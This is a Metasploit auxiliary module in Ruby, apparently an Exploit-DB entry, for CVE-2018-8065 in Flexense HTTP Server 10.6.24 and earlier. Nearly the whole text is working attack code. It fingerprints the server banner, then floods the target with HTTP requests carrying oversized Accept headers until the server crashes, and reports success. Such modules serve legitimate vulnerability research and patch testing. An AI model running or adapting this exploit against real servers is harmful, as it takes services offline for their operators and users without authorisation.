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## # Exploit Title: Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit) # Date: 2018-03-09 # Exploit Author: Ege Balci # Vendor Homepage: https://www.flexense.com/downloads.html # Version: <= 10.6.24 # CVE : CVE-2018-8065 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Flexense HTTP Server Denial Of Service', 'Description'=> %q{ This module triggers a Denial of Service vulnerability in the Flexense HTTP server. Vulnerability caused by a user mode write access memory violation and can be triggered with rapidly sending variety of HTTP requests with long HTTP header values. Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below vesions reportedly vulnerable. }, 'Author' => [ 'Ege Balci <ege.balci@invictuseurope.com>' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2018-8065'], [ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ], ], 'DisclosureDate' => '2018-03-09')) register_options( [ Opt::RPORT(80), OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]), OptString.new('PacketSize',[ true, "The number of bytes in the Accept header (Recommended: 4088-5090", rand(4088..5090) ]) ]) end def check begin connect sock.put("GET / HTTP/1.0\r\n\r\n") res = sock.get if res and res.include? 'Flexense HTTP Server v10.6.24' Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end rescue Rex::ConnectionRefused print_error("Target refused the connection") Exploit::CheckCode::Unknown rescue print_error("Target did not respond to HTTP request") Exploit::CheckCode::Unknown end end def run unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end size = datastore['PacketSize'].to_i print_status("Starting with packets of #{size}-byte strings") count = 0 loop do payload = "" payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n" payload << "Host: 127.0.0.1\r\n" payload << "Accept: "+('A' * size)+"\r\n" payload << "\r\n\r\n" begin connect sock.put(payload) disconnect count += 1 break if count==datastore['PacketCount'] rescue ::Rex::InvalidDestination print_error('Invalid destination!Continuing...') rescue ::Rex::ConnectionTimeout print_error('Connection timeout!Continuing...') rescue ::Errno::ECONNRESET print_error('Connection reset!Continuing...') rescue ::Rex::ConnectionRefused print_good("DoS successful after #{count} packets with #{size}-byte headers") return true end end print_error("DoS failed after #{count} packets of #{size}-byte strings") end end |
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